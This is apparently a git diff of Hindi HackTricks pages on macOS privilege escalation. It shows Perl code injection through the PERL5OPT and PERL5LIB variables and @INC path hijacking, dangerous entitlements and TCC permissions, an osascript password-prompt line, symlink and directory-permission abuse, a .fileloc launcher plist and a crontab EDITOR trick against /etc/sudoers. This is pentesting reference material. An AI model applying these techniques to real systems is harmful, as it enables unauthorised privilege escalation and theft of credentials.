* [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**.
</details>
## `PERL5OPT` और `PERL5LIB` env चर के माध्यम से
PERL5OPT एनवायरनमेंट चर का उपयोग करके पर्ल को अनियमित कमांड्स को निष्पादित करना संभव है।\
उदाहरण के लिए, इस स्क्रिप्ट को बनाएं:
{% code title="test.pl" %}
```perl
#!/usr/bin/perl
print "Hello from the Perl script!\n";
```
{% endcode %}
अब **एनवायरनमेंट वेरिएबल निर्यात करें** और **पर्ल** स्क्रिप्ट को निष्पादित करें:
```bash
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
```
एक और विकल्प है पर्ल मॉड्यूल बनाना (उदा। `/tmp/pmod.pm`):
{% code title="/tmp/pmod.pm" %}
```perl
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
```
{% endcode %}
और फिर env variables का उपयोग करें:
```bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
```
## डिपेंडेंसी के माध्यम से
पर्ल चलाने के लिए डिपेंडेंसी फ़ोल्डर की क्रम सूची बनाई जा सकती है:
```bash
perl -e 'print join("\n", @INC)'
```
जो कुछ ऐसा दिखाएगा:
```bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
कुछ फ़ोल्डर वापस नहीं हैं, हालांकि, **`/Library/Perl/5.30`** मौजूद है, यह **SIP** द्वारा **सुरक्षित नहीं** है और यह SIP द्वारा सुरक्षित फ़ोल्डरों से **पहले** है। इसलिए, कोई व्यक्ति उस फ़ोल्डर का दुरुपयोग करके उसमें स्क्रिप्ट डिपेंडेंसीज़ जोड़ सकता है ताकि एक उच्च अधिकार Perl स्क्रिप्ट उसे लोड कर सके।
{% hint style="warning" %}
हालांकि, ध्यान दें कि आपको **उस फ़ोल्डर में लिखने के लिए रूट होना चाहिए** और आजकल आपको यह **TCC प्रॉम्प्ट** मिलेगा:
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1).png" alt="" width="244"><figcaption></figcaption></figure>
उदाहरण के लिए, यदि एक स्क्रिप्ट **`use File::Basename;`** आयात कर रहा है तो `/Library/Perl/5.30/File/Basename.pm` बनाकर इसे अनियमित कोड चलाना संभव होगा।
## संदर्भ
* [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करना चाहते हैं? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को।**
</details>

View file

@ -4,11 +4,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह।
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल** हों या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** अनुसरण करें।**
* **अपने हैकिंग ट्रिक्स साझा करें और** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके** अपना योगदान दें।
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल** हों या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**.
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपने हैकिंग ट्रिक्स साझा करें।**
</details>
@ -32,19 +32,19 @@
### `com.apple.security.get-task-allow`
यह अधिकार अन्य प्रक्रियाओं को **`com.apple.security.cs.debugger`** अधिकार वाले उपकरण के साथ इस अधिकार वाले बाइनरी द्वारा चलाई जाने वाली प्रक्रिया के कार्य पोर्ट प्राप्त करने और इस पर कोड संचालित करने की अनुमति देता है। अधिक जानकारी के लिए [**यह देखें**](../mac-os-architecture/macos-ipc-inter-process-communication/)।
यह अधिकार **`com.apple.security.cs.debugger`** अधिकार वाले अन्य प्रक्रियाओं को इस अधिकार वाले बाइनरी द्वारा चलाई गई प्रक्रिया का कार्य पोर्ट प्राप्त करने और इस पर कोड संचोदित करने की अनुमति देता है। अधिक जानकारी के लिए [**यह देखें**](../mac-os-architecture/macos-ipc-inter-process-communication/)।
### `com.apple.security.cs.debugger`
डीबगिंग टूल अधिकार वाले ऐप्स को `task_for_pid()` कॉल करके `Get Task Allow` अधिकार को `true` पर सेट करने वाले अप्रमाणित और थर्ड-पार्टी ऐप्स के लिए मान्य कार्य पोर्ट प्राप्त करने की अनुमति देता है। हालांकि, डीबगिंग टूल अधिकार के साथ भी, डीबगर **केवल उन प्रक्रियाओं के कार्य पोर्ट प्राप्त नहीं कर सकता** है जिनके पास `Get Task Allow` अधिकार नहीं हैं, और जो कि इसलिए सिस्टम अखंडता संरक्षण द्वारा संरक्षित हैं। अधिक जानकारी के लिए [**यह देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)।
डीबगिंग टूल अधिकार वाले ऐप्स को `task_for_pid()` कॉल करके `Get Task Allow` अधिकार को `true` पर सेट करने वाले अप्रमाणित और थर्ड-पार्टी ऐप्स के लिए मान्य कार्य पोर्ट प्राप्त करने की अनुमति देता है। हालांकि, डीबगिंग टूल अधिकार के साथ भी, डीबगर **उन प्रक्रियाओं के कार्य पोर्ट्स को प्राप्त नहीं कर सकता** है जिनके पास `Get Task Allow` अधिकार नहीं हैं, और जो इसलिए सिस्टम अखंडता संरक्षण द्वारा संरक्षित हैं। अधिक जानकारी के लिए [**यह देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)।
### `com.apple.security.cs.disable-library-validation`
यह अधिकार **Apple द्वारा हस्ताक्षरित या मुख्य executable के साथ समान टीम आईडी से हस्ताक्षरित न होने वाले** फ्रेमवर्क, प्लगइन या लाइब्रेरी लोड करने की अनुमति देता है, इसलिए किसी भी अनियमित लाइब्रेरी लोड को उपयोग करके एक हमलावर्धी कोड संचालित कर सकता है। अधिक जानकारी के लिए [**यह देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)।
यह अधिकार **Apple द्वारा हस्ताक्षरित या मुख्य executable के साथ समान टीम आईडी से हस्ताक्षरित न होने वाले** फ्रेमवर्क, प्लगइन या लाइब्रेरी लोड करने की अनुमति देता है, इसलिए किसी भी अनियमित लाइब्रेरी लोड को उपयोग करके कोड संचोदित किया जा सकता है। अधिक जानकारी के लिए [**यह देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)।
### `com.apple.private.security.clear-library-validation`
यह अधिकार **`com.apple.security.cs.disable-library-validation`** के बहुत समान है, लेकिन **सीधे अक्षम करने** के बजाय प्रक्रिया को इसे अक्षम करने के लिए `csops` सिस्टम कॉल करने क
यह अधिकार **`com.apple.security.cs.disable-library-validation`** के बहुत समान है, लेकिन **सीधे अक्षम करने** के बजाय प्रक्रिया को इसे अक्षम करने के लिए `csops` सिस्टम कॉल करने की अनुमति देता ह
### `com.apple.private.tcc.manager.check-by-audit-token`
यह क्या करने की अनुमति देता है, मुझे नहीं पता है।
@ -72,13 +72,13 @@
```
### **`kTCCServiceSystemPolicyAllFiles`**
यह **पूर्ण डिस्क एक्सेस** अनुमतियाँ देता है, जो TCC की सबसे उच्च अनुमतियों में से एक है।
यह **पूर्ण डिस्क एक्सेस** अनुमतियाँ देता है, यह TCC की सबसे उच्च अनुमतियों में से एक है जो आपके पास हो सकती है।
### **`kTCCServiceAppleEvents`**
इसे ऐप को दूसरे ऐप्स को इवेंट भेजने की अनुमति देता है जो **कार्यों को स्वचालित करने** के लिए आमतौर पर उपयोग किए जाते हैं। अन्य ऐप्स को नियंत्रण करके, यह उन अन्य ऐप्स को दी गई अनुमतियों का दुरुपयोग कर सकता है।
इसके द्वारा ऐप को अन्य ऐप्स को इवेंट भेजने की अनुमति होती है जो **कार्यों को स्वचालित करने** के लिए आमतौर पर उपयोग की जाती हैं। अन्य ऐप्स को नियंत्रण करके, यह उन अन्य ऐप्स को दी गई अनुमतियों का दुरुपयोग कर सकता है।
जैसे कि यह उनसे उपयोगकर्ता से पासवर्ड पूछने के लिए उन्हें बना सकता है:
जैसे कि यह उनसे उपयोगकर्ता से उनका पासवर्ड पूछने के लिए कह सकता है:
{% code overflow="wrap" %}
```bash
@ -94,36 +94,36 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
### **`kTCCServiceSystemPolicySysAdminFiles`**
इसे बदलने की अनुमति देता है **`NFSHomeDirectory`** एट्रिब्यूट को एक उपयोगकर्ता का बदलने वाला उपयोगकर्ता जो अपने होम फ़ोल्डर पथ को बदलता है और इसलिए **TCC को दौर करने की अनुमति देता है**
इसे अनुमति देता है कि उपयोगकर्ता के **होम फ़ोल्डर पथ को बदलने वाले उपयोगकर्ता के `NFSHomeDirectory`** विशेषता को **बदलें** और इसलिए **TCC को दौर करने की अनुमति देता है**
### **`kTCCServiceSystemPolicyAppBundles`**
ऐप्स बंडल (ऐप्प के अंदर) के अंदर फ़ाइलें संशोधित करने की अनुमति देता है, जो **डिफ़ॉल्ट रूप से अनुमति नहीं है**
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
यह जांचना संभव है कि _सिस्टम सेटिंग्स_ > _गोपनीयता और सुरक्षा_ > _ऐप प्रबंधन_ में कौन सी अनुमति है।
यह जांचना संभव है कि _सिस्टम सेटिंग्स_ > _गोपनीयता और सुरक्षा_ > _ऐप प्रबंधन_ में कौन इस पहुंच के साथ है।
## मध्यम
### `com.apple.security.cs.allow-jit`
इस अधिकारदाता को **लिखने और निष्पादन योग्य मेमोरी बनाने** की अनुमति होती है, `mmap()` सिस्टम फ़ंक्शन को `MAP_JIT` फ़्लैग पास करके। अधिक जानकारी के लिए [**यह देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)।
इस अनुमति की अनुमति देती है कि **लिखने और निष्पादन योग्य मेमोरी बनाई जा सके**, `mmap()` सिस्टम फ़ंक्शन को `MAP_JIT` फ़्लैग पास करके। अधिक जानकारी के लिए [**यह देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)।
### `com.apple.security.cs.allow-unsigned-executable-memory`
इस अधिकारदाता को **C कोड को ओवरराइड या पैच करने** की अनुमति होती है, लंबे समय से अप्रचलित **`NSCreateObjectFileImageFromMemory`** का उपयोग करें (जो मूलतः असुरक्षित है), या **DVDPlayback** फ़्रेमवर्क का उपयोग करें। अधिक जानकारी के लिए [**यह देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)।
इस अनुमति की अनुमति देती है कि **C कोड को ओवरराइड या पैच किया जा सके**, पुरानी तरीके से विस्तारित **`NSCreateObjectFileImageFromMemory`** का उपयोग किया जाए (जो मूलतः असुरक्षित है), या **DVDPlayback** फ़्रेमवर्क का उपयोग किया जाए। अधिक जानकारी के लिए [**यह देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)।
{% hint style="danger" %}
इस अधिकारदाता को शामिल करने से आपका ऐप मेमोरी-असुरक्षित कोड भाषाओं में सामान्य सुरक्षा खतरों के लिए अनुरक्षित हो जाता है। सावधानीपूर्वक विचार करें कि क्या आपके ऐप को इस अपवाद की आवश्यकता है।
इस अनुमति को शामिल करने से आपका ऐप मेमोरी-असुरक्षित कोड भाषाओं में सामान्य सुरक्षा खतरों के लिए अव exposed हो जाता है। ध्यान से विचार करें कि क्या आपके ऐप को इस अपवाद की आवश्यकता है।
{% endhint %}
### `com.apple.security.cs.disable-executable-page-protection`
इस अधिकारदाता को अपनी खुद की एक्सीक्यूटेबल फ़ाइल के खंडों को **डिस्क पर संशोधित** करने की अनुमति होती है, जिससे बलपूर्वक बाहर निकलने के लिए। अधिक जानकारी के लिए [**यह देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)।
इस अनुमति की अनुमति देती है कि ऐप अपनी खुद की निष्पादन योग्य फ़ाइलों के खंडों को बदल सके ताकि वह बलपूर्वक बंद हो सके। अधिक जानकारी के लिए [**यह देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)।
{% hint style="danger" %}
डिसेबल एक्सीक्यूटेबल मेमोरी संरक्षण अधिकारदाता एक अत्यधिक अधिकारदाता है जो आपके ऐप से एक मौलिक सुरक्षा संरक्षण को हटा देत है, जिससे हमलावर आपके ऐप को बिना पता चले उसके एक्सीक्यूटेबल कोड को पुनर्लेखित करने की संभावना होती है। संभव हो सके तो संकीर्ण अधिकारदाता का प्रयास करें।
डिसेबल निष्पादन योग्य मेमोरी संरक्षण अनुमति एक अत्यधिक अनुमति है जो आपके ऐप से एक मौलिक सुरक्षा संरक्षण को हटा देत है, जिससे हमलावर आपके ऐप को बिना पता चले उसके निष्पादन योग्य कोड को पुनर्लेखित करने की संभावना होती है। संभव होने पर संकीर्ण अनुमतियों का प्राथमिकता दें।
{% endhint %}
### `com.apple.security.cs.allow-relative-library-loads`
@ -132,7 +132,7 @@ TODO
### `com.apple.private.nullfs_allow`
इस अधिकारदाता को एक nullfs फ़ाइल सिस्टम (डिफ़ॉल्ट रूप से निषिद्ध) माउंट करने की अनुमति होती है। टूल: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master)।
इस अनुमति की अनुमति देती है कि एक nullfs फ़ाइल सिस्टम (डिफ़ॉल्ट रूप से निषेधित) माउंट किया जा सके। टूल: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master)।
### `kTCCServiceAll`
@ -149,10 +149,10 @@ TODO
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें।
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**।**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपनी जानकारी साझा करें।**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपना योगदान दें।**
</details>

View file

@ -4,11 +4,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** अनुसरण करें।**
* **हैकिंग ट्रिक्स साझा करें** और **hacktricks रेपो** (https://github.com/carlospolop/hacktricks) और **hacktricks-cloud रेपो** (https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके।
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके अपनी ट्रिक्स साझा करें।**
</details>
@ -16,9 +16,9 @@
**डायरेक्टरी** में अनुमतियाँ:
* **पढ़ना** - आप डायरेक्टरी प्रविष्टियों क**सूची बना सकते** हैं
* **पढ़ना** - आप डायरेक्टरी प्रविष्टियों क**गणना** कर सकते हैं
* **लिखना** - आप डायरेक्टरी में **फ़ाइलें हटा सकते/लिख सकते** हैं
* **चलाना** - आपको डायरेक्टरी को **तर्वण करने की अनुमति** है - यदि आपके पास यह अधिकार नहीं है, तो आप उसमें कोई भी फ़ाइल या उप-डायरेक्टरी तक पहुंच नहीं पा सकते हैं।
* **चलाना** - आप डायरेक्टरी को **त्रावर्स** करने की अनुमति है - यदि आपके पास यह अधिकार नहीं है, तो आप उसमें कोई भी फ़ाइल या उप-डायरेक्टरी तक पहुंच नहीं पा सकते हैं।
### खतरनाक संयोजन
@ -26,29 +26,45 @@
* पथ में एक माता-पिता **डायरेक्टरी मालिक** उपयोगकर्ता है
* पथ में एक माता-पिता **डायरेक्टरी मालिक** उपयोगकर्ता समूह है जिसके **लिखने का अधिकार** है
* एक उपयोगकर्ता समूह को **फ़ाइल** में **लिखने की** अनुमति है
* एक उपयोगकर्ता के **समूह** को **लिखने** की **अनुमति** है **फ़ाइल** के लिए
पिछले किसी भी संयोजन के साथ, एक हमलावर्धक एक उच्चाधिकारिता अनिश्चित लिखने प्राप्त करने के लिए एक अपेक्षित पथ में एक **सिम/हार्ड लिंक** डाल सकता है।
पिछले किसी भी संयोजन के साथ, एक हमलावर्धक एक उच्चाधिकारिता अनिश्चित लिखने प्राप्त करने के लिए उम्मीदित पथ पर एक **सिम/हार्ड लिंक** डाल सकता है।
### फ़ोल्डर रूट R+X विशेष मामला
यदि किसी **डायरेक्टरी** में फ़ाइलें हैं जहां **केवल रूट को R+X एक्सेस** है, तो वे **किसी और के लिए अनुपयोगी होती हैं**। इसलिए, यदि किसी विकर्षण को अनुमति के कारण पढ़ने योग्य एक उपयोगकर्ता द्वारा एक फ़ाइल को **एक अलग फ़ोल्डर में** मूव करने की अनुमति होती है, तो इन फ़ाइलों को पढ़ने के लिए उपयोग किया जा सकता है।
यदि किसी **डायरेक्टरी** में फ़ाइलें हैं जहां **केवल रूट को R+X एक्सेस** है, तो वे **किसी और के लिए अनुपयोगी होती हैं**। इसलिए, यदि किसी विकर्षण को अनुमति देने वाली कमजोरी के कारण एक उपयोगकर्ता द्वारा पढ़ने योग्य एक फ़ाइल को इस फ़ोल्डर से एक अलग फ़ोल्डर में **ले जाने** की अनुमति होती है, तो इसका दुरुपयोग करके इन फ़ाइलों को पढ़ा जा सकता है।
उदाहरण: [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
## प्रतीकात्मक लिंक / हार्ड लिंक
## सिम्बॉलिक लिंक / हार्ड लिंक
यदि एक उच्चाधिकारिता प्रक्रिया एक **फ़ाइल** में डेटा लिख रही है जिसे एक **निम्नाधिकृत उपयोगकर्ता** द्वारा **नियंत्रित** किया जा सकता है, या जिसे एक निम्नाधिकृत उपयोगकर्ता द्वारा **पहले से बनाया जा सकता है**। उपयोगकर्ता बस एक प्रतीकात्मक या हार्ड लिंक के माध्यम से इसे दूसरी फ़ाइल पर **पॉइंट** कर सकता है, और उच्चाधिकारिता प्रक्रिया उस फ़ाइल पर लिखेगी।
यदि एक उच्चाधिकारिता प्रक्रिया एक **फ़ाइल** में डेटा लिख रही है जिसे एक **निम्नाधिकारिता उपयोगकर्ता** द्वारा **नियंत्रित** किया जा सकता है, या जिसे पहले से ही एक निम्नाधिकारिता उपयोगकर्ता द्वारा **बनाया जा सकता है**। उपयोगकर्ता बस एक सिम्बॉलिक या हार्ड लिंक के माध्यम से इसे दूसरी फ़ाइल पर **पॉइंट** कर सकता है, और उच्चाधिकारिता प्रक्रिया उस फ़ाइल पर लिखेगी।
हमलावर्धक एक अनिश्चित लिखने का उपयोग करने के लिए हमलावर्धक कहां अपने अधिकारों को बढ़ाने के लिए दुरुपयोग कर सकता है, इसे जांचें।
हमलावर्धक एक अनिश्चित लिखने का दुरुपयोग करने के लिए हमलावर्धक कौशल को कहां देखें।
## अनियमित FD
## .fileloc
यदि आप एक **प्रक्रिया को उच्च अधिकारों के साथ एक फ़ाइल या फ़ोल्डर खोलने** के लिए कर सकते हैं, तो आप **`crontab`** का दुरुपयोग कर सकते हैं ताकि `/etc/sudoers.d` में एक फ़ाइल को **`EDITOR=exploit.py`** के साथ खोलें, इसलिए `exploit.py` `/etc/sudoers` के अंदर फ़ाइल के लिए FD प्राप्त करेगा और इसे दुरुपयोग करेगा।
**`.fileloc`** एक्सटेंशन वाली फ़ाइलें अन्य एप्लिकेशन या बाइनरी को पॉइंट कर सकती हैं, ताकि जब वे खोले जाएं, ऐप्लिकेशन/बाइनरी वही चलाया जाएगा।\
उदाहरण:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>
```
## अनियमित एफडी
उदाहरण: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
यदि आप किसी **प्रक्रिया को उच्च विशेषाधिकारों के साथ एक फ़ाइल या फ़ोल्डर खोलने के लिए मजबूर कर सकते हैं**, तो आप **`crontab`** का दुरुपयोग करके `/etc/sudoers.d` में एक फ़ाइल को **`EDITOR=exploit.py`** के साथ खोल सकते हैं, इस प्रकार `exploit.py` `/etc/sudoers` के भीतर फ़ाइल को प्राप्त करेगा और इसका दुरुपयोग करेगा।
## क्वारंटाइन xattrs ट्रिक्स से बचें
